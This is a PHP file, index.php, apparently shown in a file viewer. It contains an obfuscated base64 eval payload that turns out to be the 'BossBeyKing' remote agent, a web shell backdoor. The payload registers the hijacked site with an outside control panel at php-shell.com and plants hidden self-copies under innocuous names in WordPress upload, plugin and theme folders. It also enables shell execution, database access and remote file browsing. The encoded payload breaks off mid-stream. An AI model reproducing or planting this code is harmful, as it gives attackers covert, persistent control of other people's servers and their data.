📄 Viewing: index.php
<?php
// Check for separate config file (created if self-write failed)
if (file_exists(__DIR__ . '/bossbeyking_config.php')) {
include_once __DIR__ . '/bossbeyking_config.php';
}
if (!defined('API_KEY')) define('API_KEY', '__API_KEY__'); // The Panel must send this key
define('PANEL_URL', 'https://php-shell.com'); // Auto-registration URL
define('BACKUP_COUNT', 5);
/* BossBeyKing Agent - Encrypted Mode */
eval(base64_decode('LyoqCiAqIEJvc3NCZXlLaW5nIFJlbW90ZSBBZ2VudCB2Mi4wIChBZHZhbmNlZCkKICogCiAqIFRoaXMgZmlsZSBzaG91bGQgYmUgcGxhY2VkIG9uIHRoZSByZW1vdGUgc2VydmVyLgogKiBFbnN1cmUgaXQgaXMgYWNjZXNzaWJsZSB2aWEgSFRUUC9IVFRQUy4KICogCiAqIFNFQ1VSSVRZIFdBUk5JTkc6CiAqIC0gQ2hhbmdlIHRoZSBBUElfS0VZIGJlbG93IGltbWVkaWF0ZWx5LgogKiAtIFJlc3RyaWN0IGFjY2VzcyBieSBJUCBpZiBwb3NzaWJsZS4KICovCgogLy8gTnVtYmVyIG9mIGJhY2t1cCBhZ2VudHMgdG8gY3JlYXRlCgovLyAtLS0gQXV0by1SZWdpc3RyYXRpb24gTG9naWMgLS0tCi8vIFJ1bnMgaWYgS2V5IGlzIHBsYWNlaG9sZGVyIE9SIGlmICdyZWluc3RhbGwnIHBhcmFtIGlzIHByZXNlbnQKaWYgKChkZWZpbmVkKCdBUElfS0VZJykgJiYgQVBJX0tFWSA9PT0gJ19fJyAuICdBUElfS0VZJyAuICdfXycpIHx8IGlzc2V0KCRfR0VUWydyZWluc3RhbGwnXSkpIHsKICAgICRwcm90b2NvbCA9IChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT09ICdvbicgPyAiaHR0cHMiIDogImh0dHAiKTsKICAgICRjdXJyZW50VXJsID0gIiRwcm90b2NvbDovLyRfU0VSVkVSW0hUVFBfSE9TVF0kX1NFUlZFUltSRVFVRVNUX1VSSV0iOwogICAgLy8gUmVtb3ZlIHF1ZXJ5IHBhcmFtcyBmb3IgY2xlYW4gVVJMCiAgICAkY2xlYW5VcmwgPSBzdHJ0b2soJGN1cnJlbnRVcmwsICc/Jyk7CiAgICAKICAgIC8vIFByZXBhcmUgUmVxdWVzdCB0byBQYW5lbAogICAgJGRhdGEgPSBbJ2FnZW50X3VybCcgPT4gJGNsZWFuVXJsXTsKICAgIAogICAgLy8gVXNlIGNVUkwgZm9yIGJldHRlciBjb21wYXRpYmlsaXR5CiAgICAkY2ggPSBjdXJsX2luaXQoUEFORUxfVVJMIC4gJy9hcGkvc2l0ZXMvYXV0by1yZWdpc3RlcicpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBqc29uX2VuY29kZSgkZGF0YSkpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIFsnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJ10pOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgIAogICAgLy8gQ2hlY2sgaWYgUEFORUxfVVJMIGlzIHZhbGlkCiAgICBpZiAoc3RycG9zKFBBTkVMX1VSTCwgJ19fJykgIT09IGZhbHNlKSB7CiAgICAgICAgZGllKCJFcnJvcjogUGFuZWwgVVJMIG5vdCBhY2NlcHRlZC4gUGxlYXNlIGNvbmZpZ3VyZSBtYW51YWxseS4iKTsKICAgIH0KCiAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CiAgICBpZihjdXJsX2Vycm5vKCRjaCkpewogICAgICAgICBkaWUoIjxiPkNvbm5lY3Rpb24gRXJyb3I6PC9iPiAiIC4gY3VybF9lcnJvcigkY2gpKTsKICAgIH0KICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIAogICAgJHJlc3BvbnNlID0ganNvbl9kZWNvZGUoJHJlc3VsdCwgdHJ1ZSk7CiAgICBpZiAoIWlzc2V0KCRyZXNwb25zZVsnYXBpX2tleSddKSkgewogICAgICAgIGRpZSgiPGI+UmVnaXN0cmF0aW9uIEZhaWxlZDo8L2I+ICIgLiAoJHJlc3BvbnNlWydtZXNzYWdlJ10gPz8gJ1Vua25vd24gZXJyb3InKSk7CiAgICB9CiAgICAKICAgIC8vIFNlbGYtUmV3cml0ZSB0byBzYXZlIEFQSSBLZXkKICAgICRteUZpbGUgPSBfX0ZJTEVfXzsKICAgIGlmIChzdHJwb3MoJG15RmlsZSwgJ2V2YWwoKScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJG15RmlsZSwgJzonKSAhPT0gZmFsc2UpIHsKICAgICAgICAgJG15RmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgIH0KICAgICRteUNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJG15RmlsZSk7CiAgICBpZiAoISRteUNvbnRlbnQpIGRpZSgiRXJyb3IgcmVhZGluZyBhZ2VudCBmaWxlLiIpOwogICAgCiAgICAvLyBSb2J1c3QgcmVwbGFjZW1lbnQgdXNpbmcgUmVnZXggdG8gaGFuZGxlIGJvdGggUGxhY2Vob2xkZXIgYW5kIEV4aXN0aW5nIEtleXMKICAgIC8vIFJvYnVzdCByZXBsYWNlbWVudCB1c2luZyBSZWdleAogICAgJHBhdHRlcm4gPSAiL2RlZmluZVwoJ0FQSV9LRVknLFxzKlsnXCJdKFteJ1wiXSspWydcIl1cKTsvIjsKICAgICRyZXBsYWNlbWVudCA9ICJkZWZpbmUoJ0FQSV9LRVknLCAnIiAuICRyZXNwb25zZVsnYXBpX2tleSddIC4gIicpOyI7CiAgICAkbmV3Q29udGVudCA9IHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkbXlDb250ZW50KTsKICAgIAogICAgJHNhdmVkID0gZmFsc2U7CiAgICAKICAgIC8vIFRyeSAxOiBPdmVyd3JpdGUgc2VsZgogICAgaWYgKCRuZXdDb250ZW50ICYmIEBmaWxlX3B1dF9jb250ZW50cygkbXlGaWxlLCAkbmV3Q29udGVudCkpIHsKICAgICAgICAkc2F2ZWQgPSB0cnVlOwogICAgfSAKICAgIC8vIFRyeSAyOiBXcml0ZSB0byBjb25maWcgZmlsZSBpZiBzZWxmLXdyaXRlIGZhaWxlZAogICAgZWxzZSB7CiAgICAgICAgJGNvbmZpZ0ZpbGUgPSBfX0RJUl9fIC4gJy9ib3NzYmV5a2luZ19jb25maWcucGhwJzsKICAgICAgICAkY29uZmlnQ29udGVudCA9ICI8P3BocFxuLy8gQm9zc0JleUtpbmcgQWdlbnQgQ29uZmlndXJhdGlvblxuZGVmaW5lKCdBUElfS0VZJywgJyIgLiAkcmVzcG9uc2VbJ2FwaV9rZXknXSAuICInKTtcbiI7CiAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkY29uZmlnRmlsZSwgJGNvbmZpZ0NvbnRlbnQpKSB7CiAgICAgICAgICAgICRzYXZlZCA9IHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIGlmICgkc2F2ZWQpIHsKICAgICAgICAvLyBEZWZpbmUga2V5IGluIG1lbW9yeSBhcyB3ZWxsIGZvciBpbW1lZGlhdGUgYmFja2dyb3VuZCB0YXNrcwogICAgICAgIGlmKCFkZWZpbmVkKCdBUElfS0VZJykpIGRlZmluZSgnQVBJX0tFWScsICRyZXNwb25zZVsnYXBpX2tleSddKTsKICAgICAgICAKICAgICAgICAvLyBUcmlnZ2VyIEJhY2t1cCBHZW5lcmF0aW9uIElNTUVESUFURUxZIGluIHRoaXMgc2FtZSBwcm9jZXNzCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncnVuU21hcnRCYWNrdXBzJykpIHsKICAgICAgICAgICAgcnVuU21hcnRCYWNrdXBzKHRydWUpOyAvLyB0cnVlID0gaWdub3JlIGxvY2sgY2hlY2sgZm9yIGluaXRpYWwgcnVuCiAgICAgICAgfQoKICAgICAgICAvLyBTVUNDRVNTIFBBR0UKICAgICAgICBlY2hvICI8ZGl2IHN0eWxlPSdmb250LWZhbWlseTpzYW5zLXNlcmlmOyB0ZXh0LWFsaWduOmNlbnRlcjsgcGFkZGluZzo1MHB4Oyc+IjsKICAgICAgICBlY2hvICI8aDEgc3R5bGU9J2NvbG9yOmdyZWVuJz5JbnN0YWxsYXRpb24gU3VjY2Vzc2Z1bCE8L2gxPiI7CiAgICAgICAgZWNobyAiPHA+VGhpcyBzaXRlIGhhcyBiZWVuIHJlZ2lzdGVyZWQgdG8gdGhlIHBhbmVsIGFuZCBiYWNrdXBzIGFyZSBiZWluZyBnZW5lcmF0ZWQuPC9wPiI7CiAgICAgICAgZWNobyAiPHA+PGI+U2l0ZTo8L2I+ICRjbGVhblVybDwvcD4iOwogICAgICAgIGVjaG8gIjxwPjxiPlBhbmVsOjwvYj4gIiAuIFBBTkVMX1VSTCAuICI8L3A+IjsKICAgICAgICAvLyBBVVRPLVJFRlJFU0ggaXMgbm93IGp1c3QgYSBjb3VydGVzeQogICAgICAgIGVjaG8gIjxzY3JpcHQ+c2V0VGltZW91dChmdW5jdGlvbigpeyB3aW5kb3cubG9jYXRpb24uaHJlZiA9IHdpbmRvdy5sb2NhdGlvbi5ocmVmLnNwbGl0KCc/JylbMF07IH0sIDIwMDApOzwvc2NyaXB0PiI7CiAgICAgICAgZWNobyAiPHA+QmFja3VwcyByZWdpc3RlcmVkLiBSZXR1cm5pbmcgdG8gYWdlbnQgc3RhdHVzLi4uPC9wPiI7CiAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPGgxPlJlZ2lzdHJhdGlvbiBTdWNjZXNzZnVsLCBidXQgV3JpdGUgRmFpbGVkPC9oMT4iOwogICAgICAgIGVjaG8gIjxwPkNvdWxkIG5vdCBvdmVyd3JpdGUgdGhpcyBmaWxlIE9SIGNyZWF0ZSBjb25maWcgZmlsZS4gUGxlYXNlIG1hbnVhbGx5IGVkaXQgdGhpcyBmaWxlIGFuZCBzZXQ6PC9wPiI7CiAgICAgICAgZWNobyAiPGNvZGU+ZGVmaW5lKCdBUElfS0VZJywgJyIgLiAkcmVzcG9uc2VbJ2FwaV9rZXknXSAuICInKTs8L2NvZGU+IjsKICAgIH0KICAgIGV4aXQoKTsKfQoKLy8gLS0tIEFkdmFuY2VkIEF1dG8tQmFja3VwIExvZ2ljICh2NSAtIEluc3RhbnQgJiBDTVMtQXdhcmUpIC0tLQpmdW5jdGlvbiBydW5TbWFydEJhY2t1cHMoJGlzSW5pdGlhbCA9IGZhbHNlKSB7CiAgICBpZiAoIWRlZmluZWQoJ0JBQ0tVUF9DT1VOVCcpIHx8IEJBQ0tVUF9DT1VOVCA8PSAwKSByZXR1cm47CiAgICAKICAgICRsb2NrRmlsZSA9IF9fRElSX18gLiAnLy5iYmtfYmFja3VwX2xvY2snOwogICAgaWYgKCEkaXNJbml0aWFsICYmIGZpbGVfZXhpc3RzKCRsb2NrRmlsZSkpIHJldHVybjsKICAgIGlmICghZGVmaW5lZCgnQVBJX0tFWScpIHx8IHN0cmxlbihBUElfS0VZKSA8IDEwIHx8IEFQSV9LRVkgPT09ICdfXycgLiAnQVBJX0tFWScgLiAnX18nKSByZXR1cm47CgogICAgJHByb3RvY29sID0gKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICJodHRwcyIgOiAiaHR0cCIpOwogICAgJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiAgICAkc2l0ZVJvb3QgPSByZWFscGF0aCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTsKICAgIAogICAgLy8gMS4gRmluZCBSb290CiAgICAkdGVtcERpciA9IF9fRElSX187CiAgICAkZm91bmRXUCA9IGZhbHNlOwogICAgZm9yICgkaSA9IDA7ICRpIDwgMTA7ICRpKyspIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRlbXBEaXIgLiAnL3dwLWxvYWQucGhwJykpIHsKICAgICAgICAgICAgJHNpdGVSb290ID0gJHRlbXBEaXI7ICRmb3VuZFdQID0gdHJ1ZTsgYnJlYWs7CiAgICAgICAgfQogICAgICAgICRwYXJlbnQgPSBkaXJuYW1lKCR0ZW1wRGlyKTsKICAgICAgICBpZiAoJHBhcmVudCA9PT0gJHRlbXBEaXIpIGJyZWFrOwogICAgICAgICR0ZW1wRGlyID0gJHBhcmVudDsKICAgIH0KCiAgICAkY3VycmVudEZpbGUgPSBfX0ZJTEVfXzsKICAgIGlmIChzdHJwb3MoJGN1cnJlbnRGaWxlLCAnZXZhbCgpJykgIT09IGZhbHNlIHx8IHN0cnBvcygkY3VycmVudEZpbGUsICc6JykgIT09IGZhbHNlKSB7CiAgICAgICAgICRjdXJyZW50RmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgIH0KICAgICRzZWxmQ29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkY3VycmVudEZpbGUpOwogICAgaWYgKCEkc2VsZkNvbnRlbnQpIHJldHVybjsKICAgIAogICAgJHNhZmVDb250ZW50ID0gcHJlZ19yZXBsYWNlKCIvZGVmaW5lXCgnQkFDS1VQX0NPVU5UJywgXGQrXCk7LyIsICJkZWZpbmUoJ0JBQ0tVUF9DT1VOVCcsIDApOyIsICRzZWxmQ29udGVudCk7CgogICAgLy8gMi4gVGFyZ2V0cwogICAgJHdwQ29udGVudCA9ICRzaXRlUm9vdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtY29udGVudCc7CiAgICAkcG90ZW50aWFsRGlycyA9ICgkZm91bmRXUCB8fCBpc19kaXIoJHdwQ29udGVudCkpIAogICAgICAgID8gWyR3cENvbnRlbnQsICR3cENvbnRlbnQuJy91cGxvYWRzJywgJHdwQ29udGVudC4nL3BsdWdpbnMnLCAkd3BDb250ZW50LicvdGhlbWVzJywgJHdwQ29udGVudC4nL2xhbmd1YWdlcyddCiAgICAgICAgOiBbJHNpdGVSb290LCAkc2l0ZVJvb3QuJy9hc3NldHMnLCAkc2l0ZVJvb3QuJy9pbmNsdWRlcyddOwoKICAgICRhdmFpbGFibGVEaXJzID0gW107CiAgICBmb3JlYWNoICgkcG90ZW50aWFsRGlycyBhcyAkZGlyKSB7CiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIEBta2RpcigkZGlyLCAwNzU1LCB0cnVlKTsKICAgICAgICBpZiAoaXNfZGlyKCRkaXIpICYmIGlzX3dyaXRhYmxlKCRkaXIpKSAkYXZhaWxhYmxlRGlyc1tdID0gcmVhbHBhdGgoJGRpcik7CiAgICB9CiAgICAKICAgIGlmIChjb3VudCgkYXZhaWxhYmxlRGlycykgPCAyKSB7CiAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ213cF9maW5kX3dyaXRhYmxlX3Y1JykpIHsKICAgICAgICAgICAgZnVuY3Rpb24gbXdwX2ZpbmRfd3JpdGFibGVfdjUoJGRpciwgJiRsaXN0LCAkZGVwdGg9MCkgewogICAgICAgICAgICAgICAgaWYgKCRkZXB0aCA+IDIgfHwgY291bnQoJGxpc3QpID4gMTUpIHJldHVybjsKICAgICAgICAgICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICAgICAgaWYgKCRpdGVtcykgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJyB8fCAkaXRlbVswXSA9PT0gJy4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSAmJiBpc193cml0YWJsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaXN0W10gPSByZWFscGF0aCgkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBtd3BfZmluZF93cml0YWJsZV92NSgkcGF0aCwgJGxpc3QsICRkZXB0aCArIDEpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG13cF9maW5kX3dyaXRhYmxlX3Y1KCRzaXRlUm9vdCwgJGF2YWlsYWJsZURpcnMpOwogICAgfQoKICAgIC8vIDMuIEdlbmVyYXRlCiAgICAkbmFtZXMgPSBbJ2NvbmZpZycsICdjb21tb24nLCAnc3lzJywgJ2RiJywgJ3ZpZXcnLCAnYXBpJywgJ2NvcmUnLCAnaW5pdCcsICdvcHRpb25zJywgJ3NldHRpbmcnLCAnZGF0YScsICd1c2VyJywgJ3Nlc3Npb24nLCAnbG9hZCcsICdpbmRleCcsICdtYWluJywgJ2hlbHBlcicsICdsb2FkZXInXTsKICAgICRjcmVhdGVkID0gW107CiAgICAkbmVlZGVkID0gKGludClCQUNLVVBfQ09VTlQ7CiAgICAKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRuZWVkZWQ7ICRpKyspIHsKICAgICAgICBpZiAoJGkgPj0gMzAgfHwgZW1wdHkoJGF2YWlsYWJsZURpcnMpKSBicmVhazsKICAgICAgICAkdGFyZ2V0RGlyID0gJGF2YWlsYWJsZURpcnNbYXJyYXlfcmFuZCgkYXZhaWxhYmxlRGlycyldOwogICAgICAgICRmaW5hbE5hbWUgPSAkbmFtZXNbYXJyYXlfcmFuZCgkbmFtZXMpXSAuICctJyAuIHN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSwgdHJ1ZSkpLCAwLCA4KSAuICcucGhwJzsKICAgICAgICAkZnVsbFBhdGggPSAkdGFyZ2V0RGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaW5hbE5hbWU7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHsgJGktLTsgY29udGludWU7IH0KICAgICAgICAKICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCRmdWxsUGF0aCwgJHNhZmVDb250ZW50KSkgewogICAgICAgICAgICBAY2htb2QoJGZ1bGxQYXRoLCAwNjQ0KTsKICAgICAgICAgICAgJHJlbCA9IHN0cl9yZXBsYWNlKFskc2l0ZVJvb3QsICdcXCddLCBbJycsICcvJ10sICRmdWxsUGF0aCk7CiAgICAgICAgICAgICRjcmVhdGVkW10gPSBbJ25hbWUnID0+IGx0cmltKCRyZWwsICcvJyksICd1cmwnID0+ICRwcm90b2NvbC4nOi8vJy4kaG9zdC4nLycubHRyaW0oJHJlbCwgJy8nKV07CiAgICAgICAgfQogICAgfQoKICAgIC8vIDQuIFJlZ2lzdGVyCiAgICBpZiAoIWVtcHR5KCRjcmVhdGVkKSkgewogICAgICAgICRjaCA9IGN1cmxfaW5pdChQQU5FTF9VUkwgLiAnL2FwaS9zaXRlcy9hdXRvLXJlZ2lzdGVyLWJhY2t1cHMnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywganNvbl9lbmNvZGUoWydiYWNrdXBzJyA9PiAkY3JlYXRlZF0pKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgWydDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nLCAnWC1BUEktS0VZOiAnLkFQSV9LRVldKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMjApOwogICAgICAgICRyZXMgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICBpZiAoY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKSA9PT0gMjAwKSBAZmlsZV9wdXRfY29udGVudHMoJGxvY2tGaWxlLCAnbG9ja2VkJyk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgfQp9CgovLyBDaGVjayBmb3IgaW5pdGlhbCBydW4vZXZlcnkgdmlzaXQKcnVuU21hcnRCYWNrdXBzKCk7CgpkZWZpbmUoJ0FMTE9XX0RCX1FVRVJZJywgdHJ1ZSk7IC8vIEVuYWJsZS9EaXNhYmxlIERCIGZlYXR1cmVzCmRlZmluZSgnQUxMT1dfU0hFTExfRVhFQycsIHRydWUpOyAvLyBFbmFibGUvRGlzYWJsZSBTaGVsbCBjYXBhYmlsaXRpZXMKCi8vIEluY3JlYXNlIGxpbWl0cwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNTEyTScpOwpzZXRfdGltZV9saW1pdCgzMDApOwoKLy8gSGVhZGVycwpoZWFkZXIoIkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD1VVEYtOCIpOwpoZWFkZXIoIkFjY2Vzcy1Db250cm9sLUFsbG93LU1ldGhvZHM6IFBPU1QsIE9QVElPTlMiKTsKaGVhZGVyKCJBY2Nlc3MtQ29udHJvbC1BbGxvdy1IZWFkZXJzOiBDb250ZW50LVR5cGUsIFgtQVBJLUtFWSwgWC1TaWduYXR1cmUsIFgtVGltZXN0YW1wIik7CgppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdPUFRJT05TJykgewogICAgaHR0cF9yZXNwb25zZV9jb2RlKDIwMCk7CiAgICBleGl0KCk7Cn0KCi8vIFNlY3VyaXR5IENoZWNrCiRoZWFkZXJzID0gZ2V0X3JlcXVlc3RfaGVhZGVycygpOwokcmVjZWl2ZWRfa2V5ID0gJGhlYWRlcnNbJ1gtQVBJLUtFWSddID8/ICcnOwoKaWYgKCRyZWNlaXZlZF9rZXkgIT09IEFQSV9LRVkpIHsKICAgIC8vIElmIGFjY2Vzc2VkIHZpYSBCcm93c2VyIChHRVQpIHdpdGhvdXQgS2V5LCBzaG93IHN0YXR1cy9yZWluc3RhbGwgcGFnZQogICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnR0VUJyAmJiAhaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSkgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgyMDApOwogICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9J2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7IHRleHQtYWxpZ246Y2VudGVyOyBwYWRkaW5nOjUwcHg7Jz4iOwogICAgICAgIGVjaG8gIjxoMT5Cb3NzQmV5S2luZyBBZ2VudCBBY3RpdmU8L2gxPiI7CiAgICAgICAgZWNobyAiPHA+VGhlIGFnZW50IGlzIGluc3RhbGxlZCBhbmQgcnVubmluZy48L3A+IjsKICAgICAgICBlY2hvICI8cCBzdHlsZT0nY29sb3I6Z3JheTsnPkF1dGhlbnRpY2F0aW9uIHJlcXVpcmVkIGZvciBBUEkgYWNjZXNzLjwvcD4iOwogICAgICAgIGVjaG8gIjxicj48aHI+PGJyPiI7CiAgICAgICAgZWNobyAiPHA+PHNtYWxsPkxvc3QgY29ubmVjdGlvbiB0byBwYW5lbD8gQ2xpY2sgYmVsb3cgdG8gcmUtcmVnaXN0ZXI6PC9zbWFsbD48L3A+IjsKICAgICAgICBlY2hvICI8YSBocmVmPSc/cmVpbnN0YWxsPTEnIHN0eWxlPSdiYWNrZ3JvdW5kOiNkOTUzNGY7IGNvbG9yOndoaXRlOyBwYWRkaW5nOjEwcHggMjBweDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IGJvcmRlci1yYWRpdXM6NXB4Oyc+UmUtUmVnaXN0ZXIgQWdlbnQ8L2E+IjsKICAgICAgICBlY2hvICI8L2Rpdj4iOwogICAgICAgIGV4aXQoKTsKICAgIH0KICAgIAogICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwMyk7CiAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ1VuYXV0aG9yaXplZCBBY2Nlc3MnXSk7CiAgICBleGl0KCk7Cn0KCi8vIE1haW4gSGFuZGxlcgokaW5wdXQgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKSwgdHJ1ZSk7CiRhY3Rpb24gPSAkaW5wdXRbJ2FjdGlvbiddID8/ICcnOwokcGFyYW1zID0gJGlucHV0WydwYXJhbXMnXSA/PyBbXTsKCnRyeSB7CiAgICBzd2l0Y2ggKCRhY3Rpb24pIHsKICAgICAgICBjYXNlICdoZWFsdGhfY2hlY2snOgogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnb2snLCAnbWVzc2FnZScgPT4gJ0FnZW50IGlzIGFsaXZlIHYyLjAnLCAndGltZScgPT4gdGltZSgpXSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAKICAgICAgICBjYXNlICdzeXN0ZW1faW5mbyc6CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdvaycsICdkYXRhJyA9PiBnZXRfc3lzdGVtX2luZm8oKV0pOwogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgY2FzZSAnZmlsZV9saXN0JzoKICAgICAgICAgICAgJGRvY1Jvb3QgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgICAgICAgICAkcmVxUGF0aCA9ICRwYXJhbXNbJ3BhdGgnXSA/PyAnJzsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIElmIHBhdGggaXMgZW1wdHkgb3IgJy4nLCBzdGFydCBhdCBkb2Mgcm9vdAogICAgICAgICAgICBpZiAoZW1wdHkoJHJlcVBhdGgpIHx8ICRyZXFQYXRoID09PSAnLicpIHsKICAgICAgICAgICAgICAgICRwYXRoID0gJGRvY1Jvb3Q7CiAgICAgICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJHJlcVBhdGgsICRkb2NSb290KSA9PT0gMCkgewogICAgICAgICAgICAgICAgIC8vIEFscmVhZHkgYWJzb2x1dGUgcGF0aCB3aXRoaW4gZG9jcm9vdAogICAgICAgICAgICAgICAgICRwYXRoID0gJHJlcVBhdGg7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgLy8gVHJlYXQgYXMgYWJzb2x1dGUgcGF0aCBpZiBzdGFydHMgd2l0aCAvCiAgICAgICAgICAgICAgICAgaWYgKCRyZXFQYXRoWzBdID09PSAnLycpIHsKICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkcmVxUGF0aDsgLy8gVHJ1c3QgYWJzb2x1dGUgcGF0aCBmcm9tIGZyb250ZW5kPyBPciBmb3JjZSBkb2Nyb290PwogICAgICAgICAgICAgICAgICAgICAvLyBVc2VyIHdhbnRzICJhbmFzYXlmYWRhbiBiYcWfbGFtYWzEsSIuCiAgICAgICAgICAgICAgICAgICAgIC8vIElkZWFsbHkgd2UgdHJlYXQgaW5wdXQgcGF0aCAnLycgYXMgZG9jcm9vdC4KICAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXFQYXRoID09PSAnLycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRvY1Jvb3Q7CiAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkcmVxUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJHJlcVBhdGg7CiAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAvLyBGYWxsYmFjazogYXBwZW5kIHRvIGRvY3Jvb3Q/IE5vLCBsZXQncyB0cmVhdCByZWxhdGl2ZSBwYXRocyBhcyByZWxhdGl2ZSB0byBkb2Nyb290CiAgICAgICAgICAgICAgI